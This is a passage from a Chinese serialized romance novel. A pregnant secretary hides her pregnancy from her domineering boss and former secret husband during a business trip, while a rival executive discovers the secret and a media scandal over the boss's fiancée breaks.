那等于中了何之洲的计。 贺忱面廓绷紧,“甩掉他,很难吗。” “难。”沈渺吐出一个字,她从贺忱的字里行间,听出刁难。 搞得好像是她愿意跟何之洲纠缠一样。 她语气也忍不住有些差,“何之洲位高权重,是九洲的总裁,我只是一个小秘书,哪里有能力跟他抗衡,又没人帮我,我——啊!” 贺忱突然站起来,将她从椅子上拉起,摁坐在办公桌上。 他修长的手指抵住沈渺下颚,迫使她抬起头。 下一秒,她颈间一阵温热。 贺忱薄凉的唇,落在她颈间,狠狠地吮吻。 酥酥麻麻的感觉,遍袭全身,仿佛一瞬间掏空她身体里的血,令她大脑空白,身体僵硬。 没人知道,贺忱钟爱于种草莓这种事情。 隐婚那两年,她不让他在脖子上留痕,他就种在她胸口,肩上,锁骨。 她肤色白,凝红的吻痕触目惊心,显得更诱人。 不过是几下,她脖子上就出现了大片的草莓印。 贺忱松开她,薄唇泛着光泽,眼底一片漆黑,漠然深处暗藏着汹涌。 沈渺抬手捂住脖子,仿佛含着水一样的眸子,与他那漩涡般的眼睛对视。 “告诉他,你有男人。” 他这是在帮她。 可这帮忙的方法,未免也太—— 程唯怡就在卧室,仅仅一门之隔! 这实在不是贺忱该想出来的办法。 沈渺细眉拧成一团,却是垂下眉眼,不知如何回应他。 “怎么?”贺忱捏着她下巴的手指,又将她的头抬了抬,迫使她看着他。 “不愿意拒绝他?急于离职,就是想有光明正大的身份,跟他在一起?” 他不是看不到沈渺的避嫌。 但沈渺无端离职,在他这儿就是解释不通! 唯有为了何之洲。 沈渺下巴被捏得生疼,眼底泛起雾气。 “我有自知之明,出身卑贱不会妄想飞上枝头变凤凰!” 这话,略显熟悉。 贺忱收拢眉骨静默数秒,松开了她,“下不为例。” 他是指,沈渺‘翘班’跟何之洲逛街的事情。 沈渺哪儿还能不明白,八成又是何之洲做了什么。 她未经允许离开酒店,还是与何之洲一起逛街。 难怪贺忱这么生气。 可是…… 她摸了摸脖子处还有些温热的地方,忍不住又看了贺忱一眼。 男人早已坐回去,面色如常地处理工作。 那个吻,未能在他心底,引起任何波澜。 却让沈渺心头的小鹿不断乱撞,快要从她身体里跳出来那般。 沈渺坐下来,久久不能平息,脑袋里一片杂乱。 他薄唇虽凉但还算软,贴在她颈肩时,有粗重灼热的呼吸,喷洒在她颈窝。 灼热的温度,穿破她衣服,落在她胸口。 沈渺不是重欲的人,尤其她还怀着孕。 她不过是被这突如其来的亲密接触,扰了心。 更忌惮还在卧室的程唯怡,万一突然出来看到她脖子上的吻痕,怎么解释? 沈渺将领口往上拉了拉,轻咬着下唇,眸色惆怅。 她的小动作落入贺忱眼中,若隐若现的吻痕,反而更引人注目。 贺忱盯着她看了一会儿,喉结滚动,收回目光,将一份文件丢给她。 “整理好。”他声音哑欲。 沈渺打算找个借口走了,听到他的话只能坐下来,埋头工作。 安静的房间,气氛微妙,在男女之间蔓延着。 偏偏两人,皆是一脸正色。 不一会儿,程唯怡从卧室跑出来。 “贺忱哥,我饿了!” 沈渺下意识低了低头,尽力遮住脖子上的痕迹。 孰料,她这小动作,反而引得程唯怡注意。 程唯怡扭头,直勾勾盯着她。 47.泡温泉?我能不去吗? 沈渺的身材真好,配上那张美的有攻击性的脸,特别普通的衣服都穿出滋味。 程唯怡的目光顿时变得警惕。 她的目光,令沈渺如坐针毡。 贺忱看了眼腕表,放下手上工作,“想吃什么,我让他们送到房间来。” “我想你陪我下去吃。”程唯怡收回打量沈渺的目光,语气恢复了娇软。 “好。”贺忱转身出来,到办公桌前拿手机,“你继续。” 后面三个字,是对沈渺说的。 “贺总,我回房间处理吧,明天之前一定弄好。” 沈渺站起来,把文件摞好,夹在笔记本上,埋头就走。 贺忱鼻腔里发出一个单音节,深沉的眼眸看着她逃一样离开的背影。 晚上,沈渺让服务员把晚餐送到房间。 她有意躲着,可躲到该应酬见客户的时候,不得不出去。 次日上午十点,贺忱给她发消息,酒店门口集合。 沈渺换上新衬衫,拎着公文包走出套房。 她进入电梯,摁下一楼,电梯门缓缓合上,快要自动关上时,一只骨节分明的大手突然挡住电梯门。 “等等我!” 何之洲跑得气喘吁吁,快步进入电梯里,“沈渺,你不会是看到我来,故意关电梯的吧?” 沈渺往角落站了站,“不是。” 她是真没看到。 若看到了,一定会关得更快。 “你捂这么严实干什么?”何之洲摁下电梯,转过头来打量她。 她将衬衫最上面的扣子扣上,还戴了口罩,不过她把口罩拉到下巴那儿,遮住了脖子。 沈渺清清嗓子,“有些感冒。” “感冒就请假,回去歇着吧,贺忱一个人忙得过来。” 在工作这方面,何之洲觉得贺忱的精力简直不是人。 他见缝插针,逮住机会就在沈渺面前,说贺忱的坏话。 哪怕沈渺一句话也不搭腔。 电梯门开了,沈渺说了声‘再见’,匆匆离开。 酒店门口停着的库里南里,只有贺忱一人。 车窗半落,男人侧脸线条优美,透着一股高不可攀。 沈渺拉开后座车门上去,没等关车门就男人开了口。 “前面来,方便谈工作。” 他没带工作应酬,车里只有他们两个人。 沈渺看到了,但她想保持距离。 犹豫了几秒,她才挪到副驾驶。 车厢里淡淡的沉香蔓延着,贺忱骨节分明的手控着方向盘,目光一眨不眨的看着前方。 他不说话,沈渺不知道谈什么工作,静等着。 汽车在酒店门口转弯,后视镜里,何之洲拔长脖子往这边看。 贺忱狭眸睨了眼,将油门踩到最底,“帮我弄一下安全带。” “嗯?”沈渺扭头,才发现他安全带没系。 她朝他倾身,头快扎到他怀里了,才摸到安全带,拉过来。 转弯的一瞬间,何之洲看到车内景象。 沈渺依偎在贺忱怀里,贺忱抬起手的姿势,像是在搂着她。 何之洲瞪大眼睛,想再确认一下,奈何库里南掉头,彻底看不见了。 他愣了几秒,‘嗤’一声笑了! 眼底带着肆意狂妄,转身驾车离开,直冲他们离开的方向。 沈渺一靠近贺忱,脑海里不由自主浮现昨晚那个吻。 她轻咬了下嘴唇,屏住呼吸将安全带系好后,坐回位置上。 逼仄的车厢里,微妙的气氛遍布角落。 沈渺扭头看着窗外,静等着贺忱聊工作。 半小时后,库里南停在阳城馆。 抵达目的地,贺忱也没有谈工作。 他下车率先进入馆内。 沈渺紧跟其后,快走几步追上贺忱,“贺总,我整理好的数据,您不看看吗?” “不用。”贺忱薄唇溢出两个字。 入职多年,沈渺工作从来没有出过差错,何况是整理数据这种小事。 听他笃定的语气,沈渺追随他的脚步顿了片刻,才恢复如常。 阳城是南方重点发展的中心城市,许多项目在此处开拓,可谓是一块肥肉。 贺忱这次要见的,是阳城拓展区域负责人。 对方约莫四十来岁,叫方年,是阳城一把手。 沈渺以为贺忱有备而来,拿着合作案,只等签约。 几人入座后,听贺忱跟方年聊了几句,她才知道,贺忱根本还没想好要开拓哪个板块。 昨天逛街时,沈渺听何之洲接了通电话,内容没听清,可她听得出何之洲是做足准备过来的。 她遐想之际,贺忱跟方年已经聊完,起身握手。 沈渺全程像个摆设,跟着起身,与方年握手。 “难得贺总来一趟,我已经安排好了,今天就让我好好招待你们。” 方年与沈渺半握手后,向贺忱发出邀约。 贺忱一般都会推掉这种应酬,谁知今天他一口应下,“那就辛苦方总了。” “应该的。”方年引着他往馆外走。 几个人刚出阳城馆的门,就看到何之洲从车上下来。 工作场合,何之洲略显正经,朝方年走过来时,颔首浅笑。 “方总,终于见面了。” 方年笑容一扬,主动与他握手,“何总,久仰大名。” “方总别信新闻上写的,我可是正经人。” 何之洲在外的大名不好听,不是KTV里醉酒,就是飙车上新闻。 他玩笑般地看了贺忱一眼,“贺总,没说我坏话吧。” 贺忱薄唇轻掀,并未回应他的话,而是突然回头,给沈渺使眼色,让沈渺跟上他。 他转身先朝车上走去,沈渺朝方年颔首,去追他。 两人在车旁边停下,贺忱掏了根烟点燃,“等会儿去温泉馆。” “泡温泉?”沈渺下意识拧眉,“我能不去吗?” 小规模的温泉馆禁止孕妇入内,而大规模的温泉馆会单独设立孕妇泉眼,全厅防滑。 可不论是哪一种,沈渺都去不得! “不能。”贺忱扫了眼她紧紧系着的领口,“方太太也会去,你见机行事。” 生意场上,女人也能发挥很大的作用。 之前沈渺帮贺忱挡过不少合作方太太的应酬,顺利拿下项目。 可这一次—— “我觉得,您让程小姐来更合适。” 贺忱眸光一凛,“沈渺,你的胆子越来越大,不听服从,还想安排我。” 他生气了,可沈渺不得不拒绝,“贺总,我真的……” “贺总,不介意让何总一起吧?” 不等她说完,方年带着何之洲过来。 贺忱掐灭烟,从她身边走过,“当然,欢迎。” 48.你跟方太太的对话,我都听到了! 方太太已经在温泉馆等候多时。 方年邀请贺忱与何之洲共乘一车,免得他们不认识路自己开车,耽误时间。 贺忱与何之洲皆是答应。 沈渺只是个跟班,无人在意她眼底暗藏的那抹不情愿。 见几个人都上了车,她也只能拎着包上车。 一路上,她心绪忐忑。 耳畔是几个男人交谈生意的声音,换做以往她会跟上两句。 可今天,她全程沉默,低垂着脑袋。 贺忱坐在她前方,森冷的目光时不时看她一眼,越看眸光越冷。 “女宾部在这儿下车比较近,贺总,让你的秘书在这里下去,我太太在里面等着她呢。” 方年示意司机停车。 商务车在女宾部门口停下,几人朝沈渺看来。 司机已经下车将车门打开了。 几道目光的注视下,沈渺拎包下车。 电子门缓缓关上,商务车继续前行。 沈渺看了眼远去的车屁股,长长吐出一口气,然后朝女宾部走去。 “沈小姐是吧?”门口,服务员见她过来,拿出一双拖鞋放下,“方太太让我带您过去。” “抱歉,麻烦您帮我转告方太太一声,我例假期不能泡温泉,如果她不介意,我可以在一边陪着。” 只要不下水,滑倒的几率几乎为零。 沈渺可以穿着鞋在休息区坐着。 “您可以进泉池,自己跟方太太说。” 服务员带她去挑选合适的衣服。 沈渺选了一套最保守的,但还是遮不住颈间的吻痕。 她将一条毛巾挂在脖子上,这才前往温泉池。 今天方先生包场,整个泉眼池静悄悄的。 哗啦啦的水流声格外清晰,沈渺顺着鹅卵石小路,走过几个泉眼,便看到一个女人坐在温泉池里。 今天方年包场,这人一定是方太太。 方太太看起来跟她年纪相仿,肤若凝脂,眉宇间带着南方女人的韵味。 沈渺走到池边,柔和笑道,“方太太,我是百荣贺总的秘书,沈渺。” “沈秘书。”方太太回头,看到她时眼睛一亮,“你这么年轻,就能当上贺总的秘书,看来工作能力一定很强。” 方太太是会夸人的。 沈渺刚被贺忱提拔上来时,不少人都质疑她是靠脸上位。 后来她跟着贺忱出入商业场所,用自己的专业能力,给自己一点点洗白的。 这是她与方太太第一次见面,没有质疑,只有夸赞。 “方太太过奖了,我只是运气好,恰好被贺总注意到,才有向上的机会。” 方太太拍了拍身边的位置,“我喜欢跟你说话,过来坐。” “抱歉。”沈渺一脸歉意地颔首,“我这几天例假期,不太舒服,不能下水。” 闻言,方太太打量的目光落在她身上,上下徘徊。 “你……不光没有例假,还怀孕了。” 沈渺脸色一霎苍白,明明三十度的泉眼旁边,温度骤降。 她不敢置信地看着方太太。 “你知道,我嫁给方年之前,是做什么的吗。” 方太太双手撑在泉眼池边,仰头看着她,“我们家祖传中医,我是阳城市医院的妇产科主任医师。” 沈渺怀孕三个月,还不显怀。 可她突增的三围,还有整个人散发着的气息,方太太一眼就能看得出,她是怀孕的状态。 沈渺喘息都不敢用力,看着方太太的目光,如临大敌。 多年来良好的职业素养,勉强让她表情不崩于色。 她想否认的话,在方太太具有穿透性的目光里,被吞回腹中。 方太太的眼神告诉她,她骗不了人。 “看样子,你怀孕的事情,还没有跟公司挑明,别怕,我不是多嘴的人。” 沈渺唇瓣微抿了下,点头道,“确实还没来得及说,谢谢方太太体谅。” 方太太冲她笑了笑,“不用太紧张,我正在备孕期,正想要一个孩子呢,你可以传授给我一点经验,你跟你老公备孕了吗,多久才怀上?” 她是妇产科医生,这种事情她就算没经历过,也十分有经验。 向沈渺抛出这样的话题,无非是安慰沈渺,她真的不会随便乱说。 可沈渺提着的心,难以安定,毕竟方太太的话题又触及到另外一个雷区。 她紧绷着,眉头渐渐收拢。 “没有备孕,不打算要孩子,一次意外怀上的。” 闻言,方太太下意识说,“孩子来了就是缘分,必须留下。” 沈渺点了下头,留。 “看你状态,应该两三个月了?”方太太又问。 沈渺机械般地点头。 “你老公什么态度?”方太太突然八卦起来,“他想留这个孩子吗?” 沈渺不知如何作答,复杂的表情令她看起来有些落寞。 不待方太太再问,不远处传来男人的交谈声。 缭绕的雾气中,两个男人穿着白色浴袍,朝这边走来。 贺忱短发干练露出饱满光滑的额头。 一双深邃的眼窝,穿透雾气与沈渺的目光对视上。 沈渺垂下眼帘,低声道,“方太太……” “放心,我知道。”方太太从泉眼池里起来,给她一个安心的眼神后,朝方年他们走过去,“老公你们怎么这么慢?” 见方太太闭口不提怀孕的事情,沈渺松缓了些,走到贺忱身边。 方年搂着方太太的腰,语气温柔,“我跟贺总等何总,谁知他早已经出来了,你们看到了吗?” 方太太诧异,扫视一圈摇头说,“没看到人啊。” “那不管他,我们先坐,等会儿他自然会来。” 方年与贺忱挑选了两个温度较低的池子。 沈渺则跟着方太太到女士专用的池子,她在休息区坐着,跟方太太有一句没一句的聊。 温度上升,沈渺觉得热,她与方太太说了声,起身去洗手间。 穿过泉池拐角处的凉亭,亭柱旁一抹黑色的影子突然动了。 沈渺被吓一跳,差点儿没叫出声。 “何……何总?” 何之洲从昏暗中走出,他五官渐渐明朗,脸上挂着浓浓的玩味。 “沈渺,你怀的……是贺忱的孩子吧!” 沈渺的嗓子一下被提起的心堵住,呼吸止住! 她缓了缓,矢口否认,“你……说什么,我听不懂!” “你跟方太太的对话,我都听到了,别想骗我!”何之洲眼底闪烁着兴奋的光芒,“你身边除了贺忱,没有别的男人,孩子就是他的,对不对!?” 49.这个孩子,就是贺忱的! 沈渺的眼神,在昏暗中闪烁不定,她语气依旧坚定。 “何总,您听错了,方太太说她跟方先生备孕。” 一簇光打下来,落在她那双好看的眼睛上。 她的眼睛黑白分明,清可见底。 何之洲若不是亲耳听到,只怕要被她糊弄过去。 “你骗我,是因为这个孩子,就是贺忱的!” 沈渺面色逐渐凝重,何之洲这人在工作上智商一般。 反而在八卦上,精明得很。 见她沉默,何之洲的笑意扩得更大。 “你跟贺忱,到底是什么关系?” 沈渺无从解释,那段婚姻已经结束,没有再提起的必要,以免节外生枝。 可若不提,单纯上下司的关系,堵不住何之洲的嘴。 “他职场欺凌?” 无数想法,从何之洲脑海里蹦出来,他挑选了最黑暗的一种。 “贺忱该不会想家里红旗不倒,外面彩旗飘飘吧?背着程维怡跟你生个孩子,有个家?真渣!” 沈渺拢了拢长发,她迫使自己冷静下来,与何之洲沟通。 “事情不是你想的这样,这是一个意外,贺忱不知道这个孩子的存在。” 何之洲面色染上诧异,下意识不信,“一次意外,他都不知道,你就把孩子留下了?” “我是孤儿,想要一个跟自己有血脉相连的孩子,何总大概不会理解这种感受,贺忱各方面都好,他的基因一定不会差,算下来我不亏。” 沈渺尽力将事情,与贺忱撇清关系,“所以我打算离职,离开京北,就是怕他知道这个孩子的存在,跟我抢。” 她面色淡然,除了隐瞒曾经有过的两年隐婚,以及对贺忱多年的感情,其他的不算撒谎。 何之洲抬起一只手,使劲掐眉心,“你先等等,让我缓缓。” 沈渺低垂着眼帘,往温泉池的方向看了一眼。 贺忱身上的浴袍湿了水,松垮垮的贴在他身上。 配上男人那张姣好的面容,性张力拉满。 哪个女人见了能不爱? “你的意思是,一次意外你们上了床,你怀上了贺忱的孩子,贺忱不知道,你因为他良好的基因,打算生下这个孩子,让自己多一个亲人,然后……” 何之洲终于捋明白了,但他有点不理解的是,“你为什么打算跑路呢?” 这事儿从别人嘴里说出来,沈渺才察觉她干了件多么离谱的事情。 “不然呢?等着贺忱知道这个孩子的存在,跟我争夺孩子抚养权吗?” “你怎么就这么确定他会跟你争夺抚养权?而不是你母凭子贵,成为贺少夫人?” 何之洲从昏暗处走出,那张妖孽般的脸上,写满了八卦趣味。 沈渺淡声道,“依照我对贺忱的了解,我不敢奢望,也不敢赌,我希望你能帮我保密,有什么要求,尽管提。” “我是那种趁虚而入的人吗?”何之洲立马正经起来,“人命关天,我一定会替你保密。” 他的信誉度,在沈渺这里,几乎为零。 之所以摊牌,是想稳住他,不得不走下下策,赌一把。 看出沈渺破罐子破摔,何之洲‘嘶’了一声说,“我保证不说,只管看戏!” 他在心里默念,这事儿瞒不住,瞒不住! 不过,他希望等孩子出生之后,再捅破。 贺家唯一继承人,百荣话事人有私生子!!! 这会是多么劲爆的新闻,也是他为数不多可以能压贺忱一头的机会。 “希望你遵守承诺。”沈渺点了点头,复又添了一句,“你如果说话不算话,这辈子在贺忱面前抬不起头来。” 何之洲:“!!!!” 该说的都说了,其他的只能听天由命,沈渺转身去外面透气。 她前脚走,后脚何之洲就进了温泉池,直奔贺忱那边。 “何总,这么半天你去哪里了?”方年对他消失这么久感到好奇。 何之洲下了温泉池,似有若无地看了贺忱一眼,“刚才出了些小意外,参与了一桩人命关天的大事。” 闻言,方年顺着他来的方向看了一眼,“发生什么事情了吗?” “我……” 看到贺忱端坐在那里,整个人透着漠然和矜贵,何之洲差点就说出来,撕破贺忱那副怡然自得的样子! 话快出口,他强忍着没说,“方总别介意,开个玩笑。” 方年诧异地看着他,又看看贺忱。 贺忱对他说了什么并不感兴趣,他拿过池边的手机,拨通沈渺的电话。 “泡几杯咖啡过来。” 方年立马说,“喊服务员就可以。” 贺忱面色寡淡,“让她来。” 温泉池外,有个小公园。 沈渺在长椅上坐下,复盘跟何之洲的对话,懊恼自己怎么就承认了。 明知不承认,甩不掉何之洲,她还是无法控制的烦躁和无奈。 手机冷不丁响起,看到来电话的人是贺忱,她不由自主的慌。 难道何之洲这么快就把她出卖了? 点下接通键的那一刻,沈渺的呼吸是暂停的。 往昔觉得冰冷不带一丝感情的三个字,此刻落在耳朵里,好听极了。 “好。”沈渺快速应下,挂断电话起身去泡咖啡。 十分钟后,沈渺端着三杯咖啡、一杯牛奶回到温泉池。 她将托盘放在池边,拿着牛奶起身,准备拿给方太太。 却听贺忱说,“给方总、何总递过去。” 沈渺只能又回来,将牛奶放下,给每个人递咖啡。 “贺总,没那么多规矩。”方总接过咖啡,朝贺忱的方向举了举。 “应该的。”贺忱回应着,目光落在沈渺脖子处挂着的白色毛巾上。 毛巾下,吻痕若隐若现,不知道的根本发现不了。 沈渺把咖啡递给何之洲的时候,连个要眼神交流都没有。 她最后将贺忱的咖啡送过去,“贺总,还有其他事情吗?” 贺忱目光森然,抬起手接过咖啡,指腹一勾捏住了毛巾一角,直接扯下来。 沈渺顿觉脖子上一凉,下意识抬起手捂住脖子。 “嘶……”何之洲瞪大眼睛,直勾勾盯着沈渺脖子上的吻痕,他倒吸一口凉气。 这吻痕昨天还没有,这意味着贺忱跟沈渺…… 沈渺在骗他! 50.我现在就去告诉贺忱! 听到倒吸凉气的声音,沈渺下意识把毛巾拿回来。 熟料一个不慎,打翻了贺忱手中的咖啡杯。 咖色的液体在透明的水中化开,将水染脏,也弄脏了贺忱身上纯白色的浴袍。 霎时,周围一片死寂。 沈渺捏着毛巾的手一紧,想去帮他擦一下弄脏的衣衫。 手快碰到水时,才反应过来他在水里。 她略显无措的目光,夹杂着复杂和焦灼,对上贺忱深谙不可见底的眼眸。 下一秒,贺忱站起来,哗啦啦的水声此起彼伏,水珠顺延着他精壮的身体滚落。 沈渺手腕蓦地一紧,被他拉着朝休息区走去。 方年和何之洲也从泉池里出来,纷纷望向他们离开的方向。 “欸,贺总……”方年下意识想跟上去。 何之洲将人拦住,“方总,贺总肯定是有些私事要处理,我们不过去打扰,刚好我想跟方总聊聊合作的事情。” “那行,我们到那边说。”方年带着何之洲换了个池子,开始谈工作。 休息区,沈渺被贺忱阔步流星的步伐拉得踉跄。 终于停下来,她气喘吁吁,清眸颤着看向眼前的男人。 浴袍松垮挂在他身上,腿根处一块咖色的污渍十分显眼。 他低着头,目光里的怒意浓烈到让人无法忽略。 可他唇角竟是掀着弧度,“怎么?担心没办法向何之洲解释?” “你故意的?”沈渺分外不解地看着他,“我说过了,我跟何之洲不是你想的那样!” 贺忱眉梢轻挑,“你们到底怎么回事,我没兴趣知道,只要你还在百荣一天,就要恪守本分。” 他这就是不信任沈渺的意思。 任职百荣秘书,是有谈恋爱的权利的,就算那个人是死对头公司的,公司也无权干涉。 贺忱如此介意她和何之洲,无非是怕丢面子。 他并不关心所谓的真相,也不顾这样做会给沈渺带来什么样的后果。 一门心思断了何之洲的念想。 “贺总这么顾忌何之洲纠缠我,干脆直接开除我。” 沈渺被他无形掌控带来的压迫感,而感到窒息。 再这样下去,事情只会越来越超出她预期,变成他最不愿意看到的样子。 她面色绯红,巴掌大的小脸蕴满了抵抗的情绪。 贺忱面色郁郁,带着她看不透的深沉,“放心,合同到期我绝对不会留你。” 沈渺与百荣的合同,让她不得不受制于人。 她看着贺忱漠然离开的背影,眉头拧得很深。 她干脆回了女宾部,换好衣服到外面等着。 一个多小时后,贺忱等人才出来。 方年派了两辆车,分别送他们回去。 一路无言,两辆车先后在酒店门口停下。 三个人遇上了,却像不认识那般,各自进入酒店。 沈渺跟着贺忱乘坐左边的电梯,何之洲进入对面的电梯。 电梯门合上之前,何之洲盯着沈渺,那直勾勾的眼神,很难让沈渺忽略。 她掀起眼皮看了一眼,又迅速将目光收回来。 浅短的一眼,她却在何之洲脸上看到了不依不饶的意思。 浅短的一眼,却也落入了贺忱的眼底。 贺忱微低着头,将袖子撸起,手背上清晰的筋络顺延着小臂,隐入肌肉中。 他的手插入口袋,整个人透着一股死气沉沉的冷然。 沈渺尽量缩小自己的存在感。 终于,电梯门开了,两人先后走出去,却莫名默契地在门口停下,看向对方。 沈渺是想问问,还有没有工作安排。 可对上贺忱的视线,她又将想说的话吞回腹中了。 她想等贺忱先开口。 谁知贺忱迟迟没开口,两人之间一时静得出奇。 “贺忱哥!” 套房门被人从里面打开,程唯怡扑到贺忱怀里,看到沈渺也在,眼底顿时涌上防备。 她拉着贺忱回房,“你吃午饭了吗?我都饿了!” “吃过了。” 贺忱被程唯怡拉进房间,把房门关上。 沈渺从口袋掏出房卡,刷开门进入房间,不等喘口气,电话就响了。 何之洲打来的。 她自始至终没有存何之洲的号码,但接他电话多了,她就记住了。 沈渺深吸一口气,滑动屏幕接起电话。 “沈渺,你今天要是不跟我解释清楚,我现在就去找贺忱,告诉他你怀了他的孩子。” 沈渺静默数秒,走到沙发上瘫倒在上面,却不知从何说起。 “你问我答。” 那端传来何之洲的笑声,他为捏住了沈渺的软肋而高兴。 “吻痕,是贺忱留下的?” 沈渺‘嗯’了一声,顺势解释,“他为了让你不再纠缠我。” 何之洲‘哦吼’了一声,“看不出来,贺忱占有欲这么强吗?” 这不叫占有欲,这叫掌控。 他不问,沈渺就不说话,毕竟何之洲的脑回路千奇百怪,指不定又从她的话里,生出什么离谱的想法。 “他真不知道你怀孕?”何之洲质疑。 “真的不知道。”沈渺语气无力却坚定。 何之洲也沉默下来,许是在思考,沈渺说的到底是不是真的。 不知过了多久,他突然说,“我给你两百万,你跟公司解约走人,怎么样?” 沈渺心头微动,静默数秒道,“两百万,我需要很久才能还清,而且我不会去九洲上班。” 她将问题反抛给何之洲,毕竟两百万不是一笔小数目,该好好考虑的不是她。 何之洲又问,“你打算离开京北?那你想去哪里?” “暂定坤城。”沈渺如实说。 最大的把柄在何之洲手里,其他的没什么好瞒着的。 “把你的银行卡号发给我,我让人给你转钱,你现在就回京北,跟百荣签解约书。”何之洲在电脑上一通折腾,“两个小时以后,还有一班飞往京北的飞机,来得及。” 确实来得及,沈渺回京北后能赶着下班的点到公司,去人事部签解约合同。 今天就能跟百荣,跟贺忱彻底划清界限。 “等你恢复工作,每个月还我固定的金额,直到二百万全部还完,咱们两清。”何之洲在短短几分钟之内,计划好了一切。 沈渺只有接受与否的权利,她再三思忖道,“好。” 51.贺总选女人的眼光,不怎么好 “那行。”何之洲声音恢复了吊儿郎当,“这次,我彻底相信你了。” 沈渺一怔,“什么意思。” 何之洲轻笑着说,“意思是,我不会给你掏二百万的违约金,但……” ‘啪。’ 沈渺挂了电话,将手机丢到一旁。 她白净的小脸上没有多少惊讶与生气。 有的是无尽的麻木与无奈。 何之洲算是稳住了,可她心里却越来越沉重。 第二天一早,贺忱又带着她去见了方年一次,在方年家里。 这次沈渺被留下来陪着方太太聊天,贺忱独自与方年在茶室聊天。 “你说,他们今天能谈成生意吗?”方太太端着一杯果汁,眯起眼眸看着满园的花儿。 沈渺微点了下头,“希望能。” 方太太放下果汁,胳膊撑在椅子扶手上,朝沈渺那端倾斜。 “原来,你的老板来头这么大,他那个未婚妻可配不上他。” 她从来不接触商业,对商圈的人也不了解。 最近贺忱跟程唯怡的新闻传得厉害,她刷到过几次,所以昨天觉得贺忱面熟。 回去一查,才知道贺忱是谁。 沈渺不知道方太太是什么出身,但是方太太举手投足间透着贵气,家世一定显赫。 听语气,比程家要好。 “程小姐跟贺总青梅竹马,也算门当户对。” 方太太撇了下嘴,“算吗?可那个女的长得不好看,还不如你跟贺忱般配。” “方太太说笑了,我的出身更配不上贺总。” 沈渺扯了扯嘴角,带着几分自嘲。 方太太却是说,“怎么配不上?现在都什么年代了,哪里讲究门当户对,你们两个长得都好看,他身形好你身材好,就是天造地设的一对。” 沈渺诧异地看着她。 难得上流社会,有只注重外貌不注重出身的。 “我跟方年是大学同学,我是单亲家庭,从小住在贫民窟长大的,他们方家多少年的基业,他可是名副其实的太子爷,我们般配吗?” 方太太粲然一笑,目光扫过沈渺的肚子,复又说,“我随口一说,你别介意。” 毕竟,沈渺有孩子,有老公了。 沈渺万万想不到,方太太是这样的出身。 所以方太太身上那股子贵气,都是嫁给方年以后,被娇养着后天形成的。 “你要是单身,这个媒我就替你做了,横竖要让你老板考虑一下,跟你在一起,都是这么好的基因,可惜了。” 方太太十分惋惜。 沈渺只是笑笑,静听着她说。 不过是闲聊,她没放在心上,她的主要任务是陪着方太太,方太太说什么是什么。 一个小时后,贺忱与方年从茶室出来。 沈渺起身,与方太太告辞,“方太太,很高兴认识您,以后有机会您去京北,我一定招待您。” “下个月我就去。”方太太朝她一笑。 两人一同朝门口走。 沈渺在门口与贺忱汇合,又与方年告别后,跟着贺忱离开。 一上车,贺忱就递过来一份文件。 “签约了?”沈渺接过文件,打开看了一眼。 竟然是合同书,方年已经签字了。 贺忱发动引擎,驱车离开,他眉梢微扬着,看起来心情甚好。 他们前脚到酒店,后脚媒体就爆出,贺忱拿下阳城项目的新闻。 并且附带了两张照片,一张是沈渺与贺忱离开方家时。 还有一张是沈渺与方太太在花园里闲聊。 这个项目是大工程,媒体盯了很久,稍微有些风吹草动,他们立刻就能闻到。 想必是在方家门口守了很久,才拍到的。 当天下午,沈渺几人回京北。 飞机在京北机场落地,已经是晚上八点钟。 沈渺去取托运行李时,接到贺忱打来的电话。 “唯怡困了,我先带她回去,你把她的行李送到我那里。” “知道了。” 沈渺怕他们等行李着急,一路小跑着到托运处。 接到贺忱的电话,她步伐慢下来,背脊一层薄汗渐渐散开。 晚上的机场人不多,沈渺瘦瘦小小一只,拖着三个行李箱很费力,不断有人朝她看过来。 打车的人不多,她等了几分钟就上了一辆出租车,兜了一圈把贺忱与程唯怡的行李放到贺忱那儿,才回自己家。 彼时,已经十二点多。 沈渺倒头就睡。 翌日是周六,她睡到自然醒。 睁开眼睛拿过手机,看到屏幕上无数的未接来电时,她的心口莫名一紧。 电话都是公司打来的,有林昭的,公关部经理的。 她迅速点开财经新闻,热搜第一是方家夫妇接受采访的词条。 方年详细跟媒体谈了与百荣的合作,并且提及贺忱年轻有为,能跟贺忱合作他非常高兴。 方太太却是说,“生意上的事情我不懂,但我老公都赞赏,可见贺总确实非常优秀,不过贺总的头脑都用来经商了,选女人的眼光可不怎么好……” 她这话一出,矛头指向程唯怡。 且不说程家比不上贺家。 程唯怡就个花瓶,每天除了跟在贺忱身边当小尾巴,什么都不是。 原本不少人都觉得,程唯怡不论是从家世还是自身条件,都比不上贺忱。 但他们不敢说。 方太太说出了多少人的心声,这条新闻下面无数网友评论。 :早就想这么说了! :这男人是不是有把柄在那个女人手里啊! :要我说,老天为你打开一扇窗,就会为你关闭一扇门,贺总的眼光差,大家都理解一下。 :何止是眼光差,那样的女人我都看不上。 感情是贺忱的私事,被无端放大,不仅影响到了贺忱,甚至影响到贺家跟百荣。 公关部想办法压新闻,却怎么也压不下去。 沈渺给公关部经理回了一通电话。 “沈秘书,你能不能跟方太太联系,让她解释一下。” 公关部经理焦头烂额。 沈渺留了方太太的微信,她说,“我现在就联系方太太,不过她这个人有些古怪,不确定会不会配合。” 她跟方太太接触了两次,一点儿也摸不透这人到底是什么脾气。 “沈秘书,你今天就是求,也得求方太太解释清楚。”公关部经理压低声音说,“程小姐跟贺总闹半天了,非说是你跟方太太说她坏话了,方太太才会对素未谋面的她,这么大的误解,贺总非常生气。” 52.绝对不会再让沈渺碍你们的眼 昨天下午贺忱跟方年合作的新闻刚出来,就有人好奇,为什么陪着贺忱去应酬的不是程唯怡。 这种上流圈子男人谈生意女人社交的事情,女人不都该是家属吗。 程唯怡看到那些非议,就已经生气了。 如今又爆出这种新闻,她将怨念都发泄出来。 沈渺掐了掐眉心,真是一波未平一波又起。 “我先联系一下方太太吧。” 挂了电话,沈渺整顿了一下语言,才给方太太打电话。 方太太接得挺快,“沈秘书?” 她语气充满意外。 “方太太,不好意思打扰您了。”沈渺歉意道,“您接受采访时,调侃的那句话引起了不小的轰动,您看了吗?” 方太太‘哦’了一声,“看了,怎么?你们老板为这事儿,专门让你来找我啊?” “当然不是,比起大众舆论,贺总更在意的是您对程小姐的误解,他既然喜欢程小姐,就证明程小姐有优点,有机会的话接触一下,您就知道程小姐很优秀。” 虽然阳城这个项目,对百荣来说不算特大的项目。 可毕竟是贺忱跑到千里迢迢之外,亲自去谈的。 凭着方年对方太太的宠爱,让方太太出面解释,等于让方太太打自己的脸,方年肯定不高兴。 而且为了这点小事,找上门显得小肚鸡肠。 